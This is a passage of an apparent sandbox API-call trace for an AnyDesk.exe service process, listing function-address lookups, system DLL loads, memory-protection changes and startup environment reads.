Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84211) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa82d5) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a853cc) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d7d2) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetDriveTypeA", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9ef45) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b04a6f) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8896b) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetProcessId", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aacef4) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ProcessIdToSessionId", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81275) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81430) returned 0x0 [0281.606] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85a4e) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="WaitNamedPipeW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b04b7f) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81282) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a811a9) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a91200) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83460) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81245) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d4ac) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a82cec) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a816a5) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b0469b) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateNamedPipeW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b046eb) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9cc51) returned 0x0 [0281.607] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b0477f) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateEventW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8181e) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetUserGeoID", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aaacd0) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetFileInformationByHandle", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85366) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8585e) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetDateFormatW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa34a7) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetTimeFormatW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9f451) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a853e4) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetStdHandle", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8516b) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetThreadExecutionState", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9f717) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalSize", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d13f) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85a5e) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d4c7) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84143) returned 0x0 [0281.608] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetLogicalDrives", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85329) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FindFirstChangeNotificationW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d821) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FindCloseChangeNotification", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9efa4) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FindNextChangeNotification", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa5bee) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetLocaleInfoW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83bf2) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a813e0) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="InterlockedCompareExchange", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81464) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="TryEnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76fb2500) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76fb2c42) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76fa2270) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetThreadPriority", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8326b) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ReleaseSemaphore", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d37b) returned 0x0 [0281.609] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76fa22b0) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateSemaphoreW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9ca32) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76fb45f5) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="QueryPerformanceFrequency", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a841a8) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetNativeSystemInfo", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9106d) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="DeviceIoControl", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a831df) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76afc159) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalMemoryStatusEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aad4b4) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ConvertThreadToFiber", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aac021) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateFiberEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aabde6) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ConvertFiberToThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b05b20) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SwitchToFiber", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aabc40) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="DeleteFiber", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aab852) returned 0x0 [0281.610] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a811e0) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a814db) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84965) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FormatMessageW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a845d8) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateMutexW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84204) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9ce06) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="OutputDebugStringA", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aab297) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8111e) returned 0x0 [0281.611] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="TlsFree", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83537) returned 0x0 [0281.620] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84908) returned 0x0 [0281.622] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetEnvironmentVariableW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81b28) returned 0x0 [0281.629] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetVolumePathNameW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a906a6) returned 0x0 [0281.629] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a843bf) returned 0x0 [0281.640] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aabb0f) returned 0x0 [0281.640] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CancelWaitableTimer", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b0467b) returned 0x0 [0281.641] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateWaitableTimerW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aabaab) returned 0x0 [0281.641] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a816ed) returned 0x0 [0281.641] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="MultiByteToWideChar", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8190e) returned 0x0 [0281.642] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="VerSetConditionMask", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76ff92b9) returned 0x0 [0281.642] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="VerifyVersionInfoW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d3f3) returned 0x0 [0281.642] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetProcessTimes", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d5df) returned 0x0 [0281.647] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetExitCodeThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d585) returned 0x0 [0281.647] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84982) returned 0x0 [0281.650] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetUserDefaultUILanguage", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84463) returned 0x0 [0281.650] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="OpenEventW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a815b6) returned 0x0 [0281.650] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83478) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a848e3) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81222) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetThreadContext", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa799c) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a817cc) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa7d46) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a818d1) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81806) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateFileMappingW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a818e9) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="OpenFileMappingW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8174b) returned 0x0 [0281.651] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a84317) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8166c) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetFilePointerEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9c7df) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="UnlockFileEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aad584) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetFileSizeEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8599a) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LockFileEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aad56c) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a834b9) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8dcc6) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetPriorityClass", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9cf00) returned 0x0 [0281.652] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81215) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="WaitForMultipleObjectsEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8197e) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa9f2d) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8184e) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FlushInstructionCache", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8434b) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81836) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetHandleInformation", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aacb59) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81b05) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SystemTimeToFileTime", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85a36) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetFileType", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a834e1) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8441f) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalMemoryStatus", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a88b25) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8498f) returned 0x0 [0281.653] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FlushConsoleInputBuffer", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76b28057) returned 0x0 [0281.654] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76fae026) returned 0x0 [0281.654] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x73330000 [0282.086] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d20000 [0282.095] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76600000 [0282.098] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759b0000 [0282.235] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x73310000 [0282.341] LoadLibraryA (lpLibFileName="MSIMG32.dll") returned 0x732f0000 [0282.383] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75600000 [0282.385] LoadLibraryA (lpLibFileName="WINHTTP.dll") returned 0x73290000 [0282.486] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74df0000 [0282.499] LoadLibraryA (lpLibFileName="Secur32.dll") returned 0x73230000 [0282.505] LoadLibraryA (lpLibFileName="SETUPAPI.dll") returned 0x768d0000 [0282.785] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x731d0000 [0282.822] VirtualProtect (in: lpAddress=0x1e6000, dwSize=0x5f9e00, flNewProtect=0x20, lpflOldProtect=0x131e75c | out: lpflOldProtect=0x131e75c*=0x40) returned 1 [0282.893] VirtualProtect (in: lpAddress=0x7e0000, dwSize=0x4bb000, flNewProtect=0x2, lpflOldProtect=0x131e75c | out: lpflOldProtect=0x131e75c*=0x40) returned 1 [0282.904] VirtualProtect (in: lpAddress=0xc9b000, dwSize=0xa4c00, flNewProtect=0x4, lpflOldProtect=0x131e75c | out: lpflOldProtect=0x131e75c*=0x40) returned 1 [0282.906] VirtualProtect (in: lpAddress=0xd49000, dwSize=0xe00, flNewProtect=0x2, lpflOldProtect=0x131e75c | out: lpflOldProtect=0x131e75c*=0x40) returned 1 [0282.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x131e714 | out: lpSystemTimeAsFileTime=0x131e714*(dwLowDateTime=0xe2cf7660, dwHighDateTime=0x1d8a8f3)) [0282.906] GetCurrentProcessId () returned 0x51c [0282.906] GetCurrentThreadId () returned 0x520 [0282.906] GetTickCount () returned 0xb5f7 [0282.906] QueryPerformanceCounter (in: lpPerformanceCount=0x131e70c | out: lpPerformanceCount=0x131e70c*=2565086022014) returned 1 [0282.906] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1930000 [0282.907] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0282.907] GetProcAddress (hModule=0x76a70000, lpProcName="FlsAlloc") returned 0x76a84ee3 [0282.907] GetProcAddress (hModule=0x76a70000, lpProcName="FlsGetValue") returned 0x76a81252 [0282.907] GetProcAddress (hModule=0x76a70000, lpProcName="FlsSetValue") returned 0x76a841c0 [0282.907] GetProcAddress (hModule=0x76a70000, lpProcName="FlsFree") returned 0x76a8354f [0282.908] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x214) returned 0x19307d0 [0282.908] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0282.909] GetCurrentThreadId () returned 0x520 [0282.909] GetCommandLineA () returned="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service" [0282.909] GetEnvironmentStringsW () returned 0x16e00e8* [0282.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1377, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1377 [0282.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x561) returned 0x19309f0 [0282.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1377, lpMultiByteStr=0x19309f0, cbMultiByte=1377, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1377 [0282.909] FreeEnvironmentStringsW (penv=0x16e00e8) returned 1 [0282.909] GetStartupInfoW (in: lpStartupInfo=0x131e65c | out: 